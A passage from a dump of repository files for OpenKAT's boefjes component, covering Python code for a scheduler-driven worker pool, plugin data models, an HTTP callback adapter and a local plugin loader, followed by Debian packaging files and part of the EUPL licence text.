    "content": "import gc\nimport multiprocessing\nimport os\nimport signal\nimport sys\nimport time\nfrom datetime import datetime\nfrom multiprocessing.context import ForkContext\nfrom multiprocessing.process import BaseProcess\n\nimport structlog\nfrom httpx import HTTPError\nfrom pydantic import ValidationError\n\n# A deliberate relative import to make this module self-contained\nfrom .interfaces import BoefjeHandler, NormalizerHandler, SchedulerClientInterface, Task, TaskStatus, WorkerManager\n\nlogger = structlog.get_logger(__name__)\nctx: ForkContext = multiprocessing.get_context(\"fork\")\n\n\nclass SchedulerWorkerManager(WorkerManager):\n    def __init__(\n        self,\n        item_handler: BoefjeHandler | NormalizerHandler,\n        scheduler_client: SchedulerClientInterface,\n        pool_size: int,\n        poll_interval: float,\n        worker_heartbeat: float,\n        deduplicate: bool,\n    ):\n        self.item_handler = item_handler\n        self.scheduler_client = scheduler_client\n        self.pool_size = pool_size\n        self.poll_interval = poll_interval\n        self.worker_heartbeat = worker_heartbeat\n\n        manager = ctx.Manager()\n\n        self.task_queue = manager.Queue()  # multiprocessing.Queue() will not work on macOS, see mp.Queue.qsize()\n        self.handling_tasks = manager.dict()\n        self.workers: list[BaseProcess] = []\n        self.deduplicate = deduplicate\n        self.exited = False\n\n    def run(self, queue_type: WorkerManager.Queue) -> None:\n        logger.info(\"Created worker pool for queue '%s'\", queue_type.value)\n\n        self._workers = [ctx.Process(target=_start_working, args=self._worker_args()) for _ in range(self.pool_size)]\n        for worker in self._workers:\n            worker.start()\n\n        signal.signal(signal.SIGINT, lambda signum, _: self.exit(signum))\n        signal.signal(signal.SIGTERM, lambda signum, _: self.exit(signum))\n\n        while True:\n            try:\n                self._replace_broken_workers()\n\n                if self.task_queue.qsize() > self.pool_size:\n                    # We have one new task for each worker in the local task queue, so we don't have to ask the\n                    # scheduler for new tasks.\n                    time.sleep(self.worker_heartbeat)\n                    continue\n\n                self._fill_queue(queue_type)\n            except Exception as e:  # noqa\n                logger.exception(\"Unhandled Exception:\")\n                logger.info(\"Continuing worker...\")\n                continue\n            except:  # noqa\n                # Calling sys.exit() in self.exit() will raise SystemExit. We\n                # should only log the exception and call self.exit() when the\n                # exception is caused by something else and self.exit() hasn't\n                # been called yet.\n                if not self.exited:\n                    logger.exception(\"Exiting worker...\")\n                    self.exit()\n\n                raise\n\n    def _fill_queue(self, queue_type: WorkerManager.Queue) -> None:\n        \"\"\"Fill the local task queue with tasks from the scheduler.\n        We only sleep for the poll interval if the scheduler has no (relevant) tasks in its queue.\"\"\"\n        logger.debug(\"Popping from queue %s\", queue_type.value)\n\n        try:\n            p_items = self.scheduler_client.pop_items(queue_type)\n        except (HTTPError, ValidationError):\n            logger.exception(\"Popping task from scheduler failed, sleeping %s seconds\", self.poll_interval)\n            time.sleep(self.poll_interval)\n            return\n\n        if not p_items:\n            time.sleep(self.poll_interval)\n            return\n\n        logger.info(\"Handling tasks[%s]\", [p_item.data.id for p_item in p_items])\n\n        try:\n            if self.deduplicate:\n                self.task_queue.put(p_items)\n                return\n\n            for p_item in p_items:\n                self.task_queue.put([p_item])\n            logger.info(\"Dispatched tasks[ids=%s]\", [p_item.data.id for p_item in p_items])\n        except:  # noqa\n            logger.exception(\"Exiting worker...\")\n            logger.info(\n                \"Patching scheduler tasks[ids=%s] to %s\",\n                [p_item.data.id for p_item in p_items],\n                TaskStatus.FAILED.value,\n            )\n\n            try:\n                for p_item in p_items:\n                    self.scheduler_client.patch_task(p_item.id, TaskStatus.FAILED)\n                logger.info(\n                    \"Set task status to %s in the scheduler for task[ids=%s]\",\n                    TaskStatus.FAILED,\n                    [p_item.data.id for p_item in p_items],\n                )\n            except HTTPError:\n                logger.exception(\"Could not patch scheduler task to %s\", TaskStatus.FAILED.value)\n\n    def _replace_broken_workers(self) -> None:\n        \"\"\"Clean up any closed workers, replacing them by a new one to keep the pool size constant.\"\"\"\n\n        new_workers = []\n\n        for worker in self._workers:\n            closed = False\n\n            try:\n                if worker.is_alive():\n                    new_workers.append(worker)\n                    continue\n            except ValueError:\n                closed = True  # worker is closed, so we create a new one\n\n            try:\n                pid = worker.pid\n            except ValueError:\n                pid = None\n\n            try:\n                exitcode_str = _format_exit_code(worker.exitcode)\n            except ValueError:\n                exitcode_str = \"exitcode=Unknown\"\n\n            logger.warning(\"Worker[pid=%s, %s] not alive, creating new worker...\", pid or \"unknown\", exitcode_str)\n\n            if not closed:  # Closed workers do not have a pid, so cleaning up would fail\n                self._cleanup_pending_worker_task(worker)\n                worker.close()\n\n            new_worker = ctx.Process(target=_start_working, args=self._worker_args())\n            new_worker.start()\n            new_workers.append(new_worker)\n\n        self._workers = new_workers\n\n    def _cleanup_pending_worker_task(self, worker: BaseProcess) -> None:\n        if worker.pid not in self.handling_tasks:\n            logger.debug(\"No pending task found for Worker[pid=%s, %s]\", worker.pid, _format_exit_code(worker.exitcode))\n            return\n\n        handling_task_id = self.handling_tasks[worker.pid]\n\n        try:\n            task = self.scheduler_client.get_task(handling_task_id, hydrate=False)\n\n            if task.status is TaskStatus.DISPATCHED or task.status is TaskStatus.RUNNING:\n                try:\n                    self.scheduler_client.patch_task(task.id, TaskStatus.FAILED)\n                    logger.warning(\"Set status to failed in the scheduler for task[id=%s]\", handling_task_id)\n                except HTTPError:\n                    logger.exception(\"Could not patch scheduler task to failed\")\n        except HTTPError:\n            logger.exception(\"Could not get scheduler task[id=%s]\", handling_task_id)\n\n    def _worker_args(self) -> tuple:\n        return self.task_queue, self.item_handler, self.scheduler_client, self.handling_tasks\n\n    def exit(self, signum: int | None = None) -> None:\n        try:\n            if signum:\n                logger.info(\"Received %s, exiting\", signal.Signals(signum).name)\n\n            if not self.task_queue.empty():\n                items: list[list[Task]] = [self.task_queue.get() for _ in range(self.task_queue.qsize())]\n\n                for p_items in items:\n                    for p_item in p_items:\n                        try:\n                            self.scheduler_client.push_item(p_item)\n                        except HTTPError:\n                            logger.error(\"Rescheduling task failed[id=%s]\", p_item.id)\n\n            killed_workers = []\n\n            for worker in self._workers:  # Send all signals before joining, speeding up shutdowns\n                try:\n                    if worker.is_alive():\n                        worker.kill()\n                        killed_workers.append(worker)\n                except ValueError:\n                    pass  # worker is already closed\n\n            for worker in killed_workers:\n                worker.join()\n                self._cleanup_pending_worker_task(worker)\n                worker.close()\n        finally:\n            self.exited = True\n            # If we are called from the main run loop we are already in the\n            # process of exiting, so we only need to call sys.exit() in the\n            # signal handler.\n            if signum:\n                sys.exit()\n\n\ndef _format_exit_code(exitcode: int | None) -> str:\n    if exitcode is None or exitcode >= 0:\n        return f\"exitcode={exitcode}\"\n\n    return f\"signal={signal.Signals(-exitcode).name}\"\n\n\ndef _start_working(\n    task_queue: multiprocessing.Queue,\n    handler: BoefjeHandler,\n    scheduler_client: SchedulerClientInterface,\n    handling_tasks: dict[int, str],\n) -> None:\n    logger.info(\"Started listening for tasks from worker\", pid=os.getpid())\n\n    while True:\n        p_items = task_queue.get()  # blocks until tasks are pushed in the main process\n        p_item, *duplicated_items = p_items\n\n        status = TaskStatus.FAILED\n        out = None\n        handling_tasks[os.getpid()] = str(p_item.id)\n\n        try:\n            scheduler_client.patch_task(p_item.id, TaskStatus.RUNNING)\n            start_time = datetime.now()\n            out = handler.handle(p_item)\n            status = TaskStatus.COMPLETED\n        except Exception:  # noqa\n            logger.exception(\"An error occurred handling scheduler item\", task=str(p_item.data.id))\n        except:  # noqa\n            logger.exception(\"An unhandled error occurred handling scheduler item\", task=str(p_item.data.id))\n            raise\n        finally:\n            duration = (datetime.now() - start_time).total_seconds()\n            try:\n                if scheduler_client.get_task(p_item.id, hydrate=False).status == TaskStatus.RUNNING:\n                    # The docker runner could have handled this already\n                    scheduler_client.patch_task(p_item.id, status)  # Note that implicitly, we have p_item.id == task_id\n                    logger.info(\n                        \"Set status in the scheduler\", status=status.value, task=str(p_item.data.id), duration=duration\n                    )\n\n                if not isinstance(handler, BoefjeHandler) or not duplicated_items:\n                    # We do not deduplicate normalizers\n                    continue\n\n                if out is None:\n                    # `out` will be None on failures or for Docker boefjes (until #4304 is merged), in which case there\n                    # is nothing to save to Bytes and the statuses have been patched in the except block.\n                    for item in duplicated_items:\n                        # Instead of duplicating errors, give the other deduplicated tasks another chance\n                        scheduler_client.patch_task(item.id, TaskStatus.QUEUED)\n\n                    logger.info(\"Set status to %s in the scheduler for %s deduplicated\", status, len(duplicated_items))\n\n                    continue\n\n                handler.copy_raw_files(p_item, out, duplicated_items)\n\n                for item in duplicated_items:\n                    scheduler_client.patch_task(item.id, status)\n                    logger.info(\n                        \"Set status in the scheduler for deduplicated task\",\n                        status=status.value,\n                        task=str(p_item.data.id),\n                        duration=duration,\n                    )\n            except HTTPError:\n                logger.exception(\"Could not patch scheduler task to %s\", status.value, task=str(p_item.data.id))\n\n            gc.collect()\n"
  },
  {
    "path": "boefjes/boefjes/worker/models.py",
    "content": "import datetime\nfrom enum import Enum\nfrom functools import total_ordering\nfrom typing import Literal\n\nfrom croniter import croniter\nfrom jsonschema.exceptions import SchemaError\nfrom jsonschema.validators import Draft202012Validator\nfrom pydantic import BaseModel, Field, field_validator\n\n\n# This makes the RunOn sortable when in a list. This is convenient for e.g. the RunOnDB.from_run_ons method, that now\n# does not have to take the ordering of a boefje.run_on into account in its match statement. This is especially handy\n# once we introduce more RunOn values such as DELETE.\n@total_ordering\nclass RunOn(Enum):\n    CREATE = \"create\"\n    UPDATE = \"update\"\n\n    def __lt__(self, other):\n        return self.value < other.value\n\n\nclass Organisation(BaseModel):\n    id: str\n    name: str\n    deduplicate: bool = True\n\n\nclass Plugin(BaseModel):\n    id: str\n    name: str\n    version: str | None = None\n    created: datetime.datetime | None = None\n    description: str | None = None\n    enabled: bool = False\n    static: bool = True  # We need to differentiate between local and remote plugins to know which ones can be deleted\n\n    def __str__(self):\n        return f\"{self.id}:{self.version}\"\n\n\nclass Boefje(Plugin):\n    type: Literal[\"boefje\"] = \"boefje\"\n    scan_level: int = 1\n    consumes: set[str] = Field(default_factory=set)\n    produces: set[str] = Field(default_factory=set)\n    boefje_schema: dict | None = None\n    cron: str | None = None\n    interval: int | None = None\n    run_on: list[RunOn] | None = None\n    runnable_hash: str | None = None\n    oci_image: str | None = None\n    oci_arguments: list[str] = Field(default_factory=list)\n    deduplicate: bool = True\n\n    @field_validator(\"boefje_schema\")\n    @classmethod\n    def json_schema_valid(cls, schema: dict) -> dict:\n        if schema is not None:\n            try:\n                Draft202012Validator.check_schema(schema)\n            except SchemaError as e:\n                raise ValueError(\"The schema field is not a valid JSON schema\") from e\n\n        return schema\n\n    @field_validator(\"cron\")\n    @classmethod\n    def cron_valid(cls, cron: str | None) -> str | None:\n        if cron is not None:\n            croniter(cron)  # Raises a ValueError\n\n        return cron\n\n    class Config:\n        validate_assignment = True\n\n\nclass BoefjeConfig(BaseModel):\n    id: int\n    settings: dict\n    enabled: bool\n    boefje_id: str\n    organisation_id: str\n\n    # a list of BoefjeConfig from other orgs that matching this config\n    duplicates: list[\"BoefjeConfig\"] = Field(default_factory=list)\n\n\nclass Normalizer(Plugin):\n    type: Literal[\"normalizer\"] = \"normalizer\"\n    consumes: list[str] = Field(default_factory=list)  # mime types (and/ or boefjes)\n    produces: list[str] = Field(default_factory=list)  # oois\n    enabled: bool = True\n\n\nclass Bit(Plugin):\n    type: Literal[\"bit\"] = \"bit\"\n    consumes: str\n    produces: list[str]\n    parameters: list[str]  # ooi.relation-name\n    enabled: bool = True\n\n\nPluginType = Boefje | Normalizer | Bit\n\n\nclass PaginationParameters(BaseModel):\n    offset: int = 0\n    limit: int | None = None\n\n\nclass FilterParameters(BaseModel):\n    q: str | None = None\n    type: Literal[\"boefje\", \"normalizer\", \"bit\"] | None = None\n    ids: list[str] | None = None\n    consumes: set[str] | None = None\n    produces: set[str] | None = None\n    state: bool | None = None\n    scan_level: int = 0\n    oci_image: str | None = None\n"
  },
  {
    "path": "boefjes/boefjes/worker/oci_adapter.py",
    "content": "import sys\nfrom pathlib import Path\nfrom urllib.parse import urlparse\nfrom uuid import UUID\n\nimport httpx\nfrom httpx import Client, HTTPTransport\nfrom pydantic import ValidationError\n\nfrom .boefje_handler import LocalBoefjeHandler\nfrom .interfaces import BoefjeOutput, BoefjeStorageInterface, Task\nfrom .job_models import BoefjeMeta\nfrom .repository import LocalPluginRepository\n\n\nclass CallbackStorageClient(BoefjeStorageInterface):\n    def __init__(self, base_url: str, callback_url: str, outgoing_request_timeout: int):\n        self._session = Client(base_url=base_url, transport=HTTPTransport(retries=6), timeout=outgoing_request_timeout)\n        self.callback_url = callback_url\n\n    def save_output(self, boefje_meta: BoefjeMeta, boefje_output: BoefjeOutput) -> dict[str, UUID]:\n        response = self._session.post(self.callback_url, json=boefje_output.model_dump(mode=\"json\"))\n        response.raise_for_status()\n\n        return response.json()\n\n\ndef run_with_callback(input_url: str):\n    try:\n        response = httpx.get(input_url)\n        response.raise_for_status()\n        boefje_input = response.json()\n    except httpx.HTTPError as e:\n        # sys.exit will print the message on stderr and return with exit code 1\n        sys.exit(f\"Failed to get input from boefje API (at {input_url}): {e}\")\n\n    try:\n        task = Task.model_validate(boefje_input[\"task\"])\n        output_url = boefje_input[\"output_url\"]\n    except (KeyError, ValidationError):\n        sys.exit(f\"Invalid response from boefje API (at {input_url}): {boefje_input}\")\n\n    parsed = urlparse(input_url)\n    client = CallbackStorageClient(f\"{parsed.scheme}://{parsed.netloc}\", output_url, 30)\n    handler = LocalBoefjeHandler(LocalPluginRepository(Path()), client)\n\n    try:\n        handler.handle(task)\n    except httpx.HTTPError as e:\n        sys.exit(f\"Failed to handle task: {e}\")\n"
  },
  {
    "path": "boefjes/boefjes/worker/repository.py",
    "content": "import hashlib\nimport json\nimport pkgutil\nfrom functools import cache, lru_cache\nfrom importlib import import_module\nfrom inspect import isfunction, signature\nfrom json import JSONDecodeError\nfrom pathlib import Path\nfrom typing import Protocol\n\nimport structlog\nfrom jsonschema.exceptions import SchemaError\nfrom pydantic_core import ValidationError\n\nfrom .models import Boefje, Normalizer, PluginType\n\nlogger = structlog.get_logger(__name__)\n\nBOEFJES_DIR = Path(__file__).parent.parent / \"plugins\"\nBOEFJE_DEFINITION_FILE = \"boefje.json\"\nSCHEMA_FILE = \"schema.json\"\nNORMALIZER_DEFINITION_FILE = \"normalizer.json\"\nENTRYPOINT_BOEFJES = \"main.py\"\nENTRYPOINT_NORMALIZERS = \"normalize.py\"\n\n\nclass ModuleException(Exception):\n    \"\"\"General error for modules\"\"\"\n\n\nclass Runnable(Protocol):\n    def run(self, *args, **kwargs):\n        raise NotImplementedError\n\n\nclass BoefjeResource:\n    \"\"\"Represents a Boefje package that we can run. Throws a ModuleException if any validation fails.\"\"\"\n\n    def __init__(self, path: Path, package: str, path_hash: str):\n        self.path = path\n        self.boefje: Boefje = Boefje.model_validate_json(path.joinpath(BOEFJE_DEFINITION_FILE).read_text())\n        self.boefje.runnable_hash = path_hash\n        self.boefje.produces = self.boefje.produces.union(set(_default_mime_types(self.boefje)))\n\n        try:\n            self.module: Runnable | None = get_runnable_module_from_package(\n                package, ENTRYPOINT_BOEFJES, parameter_count=1\n            )\n        except ModuleException:\n            self.module = None  # Most likely an OCI boefje\n\n        if (path / SCHEMA_FILE).exists():\n            try:\n                self.boefje.boefje_schema = json.load((path / SCHEMA_FILE).open())\n            except JSONDecodeError as e:\n                raise ModuleException(\"Invalid schema file\") from e\n            except SchemaError as e:\n                raise ModuleException(\"Invalid schema\") from e\n\n\nclass NormalizerResource:\n    \"\"\"Represents a Normalizer package that we can run. Throws a ModuleException if any validation fails.\"\"\"\n\n    def __init__(self, path: Path, package: str):\n        self.path = path\n        self.normalizer = Normalizer.model_validate_json(path.joinpath(NORMALIZER_DEFINITION_FILE).read_text())\n        self.normalizer.consumes.append(f\"normalizer/{self.normalizer.id}\")\n        self.module = get_runnable_module_from_package(package, ENTRYPOINT_NORMALIZERS, parameter_count=2)\n\n\nclass LocalPluginRepository:\n    def __init__(self, path: Path):\n        self.path = path\n\n    def get_all(self) -> list[PluginType]:\n        boefjes = [resource.boefje for resource in self.resolve_boefjes().values()]\n        normalizers = [resource.normalizer for resource in self.resolve_normalizers().values()]\n        return boefjes + normalizers\n\n    def by_id(self, plugin_id: str) -> BoefjeResource | NormalizerResource:\n        boefjes = self.resolve_boefjes()\n\n        if plugin_id in boefjes:\n            return boefjes[plugin_id]\n\n        normalizers = self.resolve_normalizers()\n\n        if plugin_id in normalizers:\n            return normalizers[plugin_id]\n\n        raise KeyError(f\"Can't find plugin {plugin_id}\")\n\n    def by_image(self, image: str) -> BoefjeResource:\n        boefjes = self.resolve_boefjes()\n\n        for boefje in boefjes.values():\n            if boefje.boefje.oci_image == image:\n                return boefje\n\n        raise KeyError(f\"Can't find image {image}\")\n\n    def by_name(self, plugin_name: str) -> BoefjeResource | NormalizerResource:\n        boefjes = {resource.boefje.name: resource for resource in self.resolve_boefjes().values()}\n\n        if plugin_name in boefjes:\n            return boefjes[plugin_name]\n\n        normalizers = {resource.normalizer.name: resource for resource in self.resolve_normalizers().values()}\n\n        if plugin_name in normalizers:\n            return normalizers[plugin_name]\n\n        raise KeyError(f\"Can't find plugin {plugin_name}\")\n\n    def schema(self, id_: str) -> dict | None:\n        boefjes = self.resolve_boefjes()\n\n        if id_ not in boefjes:\n            return None\n\n        path = boefjes[id_].path / SCHEMA_FILE\n\n        if not path.exists():\n            logger.debug(\"Did not find schema for boefje %s\", id_)\n            return None\n\n        return json.loads(path.read_text())\n\n    def cover_path(self, plugin_id: str) -> Path:\n        boefjes = self.resolve_boefjes()\n        normalizers = self.resolve_normalizers()\n        default_cover_path = self.default_cover_path()\n        plugin: BoefjeResource | NormalizerResource\n\n        if plugin_id in boefjes:\n            plugin = boefjes[plugin_id]\n            cover_path = plugin.path / \"cover.jpg\"\n        elif plugin_id in normalizers:\n            plugin = normalizers[plugin_id]\n            cover_path = plugin.path / \"normalizer_cover.jpg\"\n        else:\n            cover_path = default_cover_path\n\n        if not cover_path.exists():\n            logger.debug(\"Did not find cover for plugin %s\", plugin_id)\n            return default_cover_path\n\n        return cover_path\n\n    def default_cover_path(self) -> Path:\n        return self.path / \"default_cover.jpg\"\n\n    def description_path(self, id_: str) -> Path | None:\n        boefjes = self.resolve_boefjes()\n\n        if id_ not in boefjes:\n            return None\n\n        return boefjes[id_].path / \"description.md\"\n\n    def resolve_boefjes(self) -> dict[str, BoefjeResource]:\n        return _cached_resolve_boefjes(self.path)\n\n    def resolve_normalizers(self) -> dict[str, NormalizerResource]:\n        return _cached_resolve_normalizers(self.path)\n\n\n@cache\ndef _cached_resolve_boefjes(path: Path) -> dict[str, BoefjeResource]:\n    paths_and_packages = _find_packages_in_path_containing_files(path, (BOEFJE_DEFINITION_FILE,))\n    boefje_resources = []\n\n    for path, package in paths_and_packages:\n        try:\n            boefje_resources.append(get_boefje_resource(path, package, hash_path(path)))\n        except (ModuleException, ValidationError):\n            logger.exception(\"Error getting boefje resource\")\n\n    return {resource.boefje.id: resource for resource in boefje_resources}\n\n\n@cache\ndef _cached_resolve_normalizers(path: Path) -> dict[str, NormalizerResource]:\n    paths_and_packages = _find_packages_in_path_containing_files(\n        path, (NORMALIZER_DEFINITION_FILE, ENTRYPOINT_NORMALIZERS)\n    )\n    normalizer_resources = []\n\n    for path, package in paths_and_packages:\n        try:\n            normalizer_resources.append(get_normalizer_resource(path, package, hash_path(path)))\n        except (ModuleException, ValidationError):\n            logger.exception(\"Error getting normalizer resource\")\n\n    return {resource.normalizer.id: resource for resource in normalizer_resources}\n\n\ndef _find_packages_in_path_containing_files(path: Path, required_files: tuple[str, ...]) -> list[tuple[Path, str]]:\n    prefix = create_relative_import_statement_from_cwd(path)\n    paths = []\n\n    for package in pkgutil.walk_packages([str(path)], prefix):\n        if not package.ispkg:\n            logger.debug(\"%s is not a package\", package.name)\n            continue\n\n        new_path = path / package.name.replace(prefix, \"\").replace(\".\", \"/\")\n        missing_files = [file for file in required_files if not (new_path / file).exists()]\n\n        if missing_files:\n            logger.debug(\"Files %s not found for %s\", missing_files, package.name)\n            continue\n\n        paths.append((new_path, package.name))\n\n    return paths\n\n\ndef create_relative_import_statement_from_cwd(package_dir: Path) -> str:\n    relative_path = str(package_dir.absolute()).replace(str(Path.cwd()), \"\")  # e.g. \"/boefjes/plugins\"\n\n    return f\"{relative_path[1:].replace('/', '.')}.\" if relative_path else \"\"  # Turns into \"boefjes.plugins.\"\n\n\n@lru_cache(maxsize=200)\ndef get_boefje_resource(path: Path, package: str, path_hash: str):\n    \"\"\"The cache size in theory only has to be the amount of local boefjes available, but 200 gives us some extra\n    space. Adding the hash to the arguments makes sure we refresh this.\"\"\"\n\n    return BoefjeResource(path, package, path_hash)\n\n\n@lru_cache(maxsize=200)\ndef get_normalizer_resource(path: Path, package: str, path_hash: str):\n    \"\"\"The cache size in theory only has to be the amount of local normalizers available, but 200 gives us some extra\n    space. Adding the hash to the arguments makes sure we refresh this.\"\"\"\n\n    return NormalizerResource(path, package)\n\n\ndef get_local_repository():\n    return LocalPluginRepository(BOEFJES_DIR)\n\n\ndef get_runnable_module_from_package(package: str, module_file: str, *, parameter_count: int) -> Runnable:\n    import_statement = f\"{package}.{module_file.rstrip('.py')}\"\n\n    try:\n        module = import_module(import_statement)\n    except Exception as e:\n        raise ModuleException(f\"Cannot import module {import_statement}\") from e\n\n    if not hasattr(module, \"run\") or not isfunction(module.run):\n        raise ModuleException(f\"Module {module} does not define a run function\")\n\n    if len(signature(module.run).parameters) != parameter_count:\n        raise ModuleException(\"Module entrypoint has wrong amount of parameters\")\n\n    return module\n\n\ndef hash_path(path: Path) -> str:\n    \"\"\"Returns sha256(file1 + file2 + ...) of all files in the given path.\"\"\"\n\n    folder_hash = hashlib.sha256()\n\n    for file in sorted(path.glob(\"**/*\")):\n        # Note that the hash does not include *.pyc files\n        # Thus there may be a desync between the source code and the cached, compiled bytecode\n        if file.is_file() and file.suffix != \".pyc\":\n            with file.open(\"rb\") as f:\n                while chunk := f.read(32768):\n                    folder_hash.update(chunk)\n\n    return folder_hash.hexdigest()\n\n\ndef _default_mime_types(boefje: Boefje) -> set:\n    mime_types = {f\"boefje/{boefje.id}\"}\n\n    if boefje.version is not None:\n        mime_types = mime_types.union({f\"boefje/{boefje.id}-{boefje.version}\"})\n\n    return mime_types\n"
  },
  {
    "path": "boefjes/debian/control",
    "content": "Source: kat-boefjes\nBuild-Depends: python3, dh-virtualenv, python3-setuptools, python3-pip, debhelper-compat (= 12)\nMaintainer: OpenKAT <maintainer@openkat.nl>\n\nPackage: kat-boefjes\nSection: python\nPriority: optional\nArchitecture: any\nPre-Depends: ${misc:Pre-Depends}\nDepends: ${python}, docker.io | docker-ce, ${misc:Depends}\nDescription: Boefjes component of KAT\n  This component runs external tools like scanners.\n"
  },
  {
    "path": "boefjes/debian/copyright",
    "content": "Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/\nUpstream-Name: kat-boefjes\nUpstream-Contact: info@openkat.nl\nSource: __URL__\n\nFiles: *\nCopyright: 2022 OpenKAT\nLicense: EUPL\n\nLicense: EUPL\n                        EUROPEAN UNION PUBLIC LICENCE v. 1.2\n                        EUPL © the European Union 2007, 2016\n\n  This European Union Public Licence (the ‘EUPL’) applies to the Work (as defined\n  below) which is provided under the terms of this Licence. Any use of the Work,\n  other than as authorised under this Licence is prohibited (to the extent such\n  use is covered by a right of the copyright holder of the Work).\n\n  The Work is provided under the terms of this Licence when the Licensor (as\n  defined below) has placed the following notice immediately following the\n  copyright notice for the Work:\n\n          Licensed under the EUPL\n\n  or has expressed by any other means his willingness to license under the EUPL.\n\n  1. Definitions\n\n  In this Licence, the following terms have the following meaning:\n\n  - ‘The Licence’: this Licence.\n\n  - ‘The Original Work’: the work or software distributed or communicated by the\n    Licensor under this Licence, available as Source Code and also as Executable\n    Code as the case may be.\n\n  - ‘Derivative Works’: the works or software that could be created by the\n    Licensee, based upon the Original Work or modifications thereof. This Licence\n    does not define the extent of modification or dependence on the Original Work\n    required in order to classify a work as a Derivative Work; this extent is\n    determined by copyright law applicable in the country mentioned in Article 15.\n\n  - ‘The Work’: the Original Work or its Derivative Works.\n\n  - ‘The Source Code’: the human-readable form of the Work which is the most\n    convenient for people to study and modify.\n\n  - ‘The Executable Code’: any code which has generally been compiled and which is\n    meant to be interpreted by a computer as a program.\n\n  - ‘The Licensor’: the natural or legal person that distributes or communicates\n    the Work under the Licence.\n\n  - ‘Contributor(s)’: any natural or legal person who modifies the Work under the\n    Licence, or otherwise contributes to the creation of a Derivative Work.\n\n  - ‘The Licensee’ or ‘You’: any natural or legal person who makes any usage of\n    the Work under the terms of the Licence.\n\n  - ‘Distribution’ or ‘Communication’: any act of selling, giving, lending,\n    renting, distributing, communicating, transmitting, or otherwise making\n    available, online or offline, copies of the Work or providing access to its\n    essential functionalities at the disposal of any other natural or legal\n    person.\n\n  2. Scope of the rights granted by the Licence\n\n  The Licensor hereby grants You a worldwide, royalty-free, non-exclusive,\n  sublicensable licence to do the following, for the duration of copyright vested\n  in the Original Work:\n\n  - use the Work in any circumstance and for all usage,\n  - reproduce the Work,\n  - modify the Work, and make Derivative Works based upon the Work,\n  - communicate to the public, including the right to make available or display\n    the Work or copies thereof to the public and perform publicly, as the case may\n    be, the Work,\n  - distribute the Work or copies thereof,\n  - lend and rent the Work or copies thereof,\n  - sublicense rights in the Work or copies thereof.\n\n  Those rights can be exercised on any media, supports and formats, whether now\n  known or later invented, as far as the applicable law permits so.\n\n  In the countries where moral rights apply, the Licensor waives his right to\n  exercise his moral right to the extent allowed by law in order to make effective\n  the licence of the economic rights here above listed.\n\n  The Licensor grants to the Licensee royalty-free, non-exclusive usage rights to\n  any patents held by the Licensor, to the extent necessary to make use of the\n  rights granted on the Work under this Licence.\n\n  3. Communication of the Source Code\n\n  The Licensor may provide the Work either in its Source Code form, or as\n  Executable Code. If the Work is provided as Executable Code, the Licensor\n  provides in addition a machine-readable copy of the Source Code of the Work\n  along with each copy of the Work that the Licensor distributes or indicates, in\n  a notice following the copyright notice attached to the Work, a repository where\n  the Source Code is easily and freely accessible for as long as the Licensor\n  continues to distribute or communicate the Work.\n\n  4. Limitations on copyright\n\n  Nothing in this Licence is intended to deprive the Licensee of the benefits from\n  any exception or limitation to the exclusive rights of the rights owners in the\n  Work, of the exhaustion of those rights or of other applicable limitations\n  thereto.\n\n  5. Obligations of the Licensee\n\n  The grant of the rights mentioned above is subject to some restrictions and\n  obligations imposed on the Licensee. Those obligations are the following:\n\n  Attribution right: The Licensee shall keep intact all copyright, patent or\n  trademarks notices and all notices that refer to the Licence and to the\n  disclaimer of warranties. The Licensee must include a copy of such notices and a\n  copy of the Licence with every copy of the Work he/she distributes or\n  communicates. The Licensee must cause any Derivative Work to carry prominent\n  notices stating that the Work has been modified and the date of modification.\n\n  Copyleft clause: If the Licensee distributes or communicates copies of the\n  Original Works or Derivative Works, this Distribution or Communication will be\n  done under the terms of this Licence or of a later version of this Licence\n  unless the Original Work is expressly distributed only under this version of the\n  Licence — for example by communicating ‘EUPL v. 1.2 only’. The Licensee\n  (becoming Licensor) cannot offer or impose any additional terms or conditions on\n  the Work or Derivative Work that alter or restrict the terms of the Licence.\n\n  Compatibility clause: If the Licensee Distributes or Communicates Derivative\n  Works or copies thereof based upon both the Work and another work licensed under\n  a Compatible Licence, this Distribution or Communication can be done under the\n  terms of this Compatible Licence. For the sake of this clause, ‘Compatible\n  Licence’ refers to the licences listed in the appendix attached to this Licence.\n  Should the Licensee's obligations under the Compatible Licence conflict with\n  his/her obligations under this Licence, the obligations of the Compatible\n  Licence shall prevail.\n\n  Provision of Source Code: When distributing or communicating copies of the Work,\n  the Licensee will provide a machine-readable copy of the Source Code or indicate\n  a repository where this Source will be easily and freely available for as long\n  as the Licensee continues to distribute or communicate the Work.\n\n  Legal Protection: This Licence does not grant permission to use the trade names,\n  trademarks, service marks, or names of the Licensor, except as required for\n  reasonable and customary use in describing the origin of the Work and\n  reproducing the content of the copyright notice.\n\n  6. Chain of Authorship\n\n  The original Licensor warrants that the copyright in the Original Work granted\n  hereunder is owned by him/her or licensed to him/her and that he/she has the\n  power and authority to grant the Licence.\n\n  Each Contributor warrants that the copyright in the modifications he/she brings\n  to the Work are owned by him/her or licensed to him/her and that he/she has the\n  power and authority to grant the Licence.\n\n  Each time You accept the Licence, the original Licensor and subsequent\n  Contributors grant You a licence to their contributions to the Work, under the\n  terms of this Licence.\n\n  7. Disclaimer of Warranty\n\n  The Work is a work in progress, which is continuously improved by numerous\n  Contributors. It is not a finished work and may therefore contain defects or\n  ‘bugs’ inherent to this type of development.\n\n  For the above reason, the Work is provided under the Licence on an ‘as is’ basis\n  and without warranties of any kind concerning the Work, including without\n  limitation merchantability, fitness for a particular purpose, absence of defects\n  or errors, accuracy, non-infringement of intellectual property rights other than\n  copyright as stated in Article 6 of this Licence.\n\n  This disclaimer of warranty is an essential part of the Licence and a condition\n  for the grant of any rights to the Work.\n\n  8. Disclaimer of Liability\n\n  Except in the cases of wilful misconduct or damages directly caused to natural\n  persons, the Licensor will in no event be liable for any direct or indirect,\n  material or moral, damages of any kind, arising out of the Licence or of the use\n  of the Work, including without limitation, damages for loss of goodwill, work\n  stoppage, computer failure or malfunction, loss of data or any commercial\n  damage, even if the Licensor has been advised of the possibility of such damage.\n  However, the Licensor will be liable under statutory product liability laws as\n  far such laws apply to the Work.\n\n  9. Additional agreements\n\n  While distributing the Work, You may choose to conclude an additional agreement,\n  defining obligations or services consistent with this Licence. However, if\n  accepting obligations, You may act only on your own behalf and on your sole\n  responsibility, not on behalf of the original Licensor or any other Contributor,\n  and only if You agree to indemnify, defend, and hold each Contributor harmless\n  for any liability incurred by, or claims asserted against such Contributor by\n  the fact You have accepted any warranty or additional 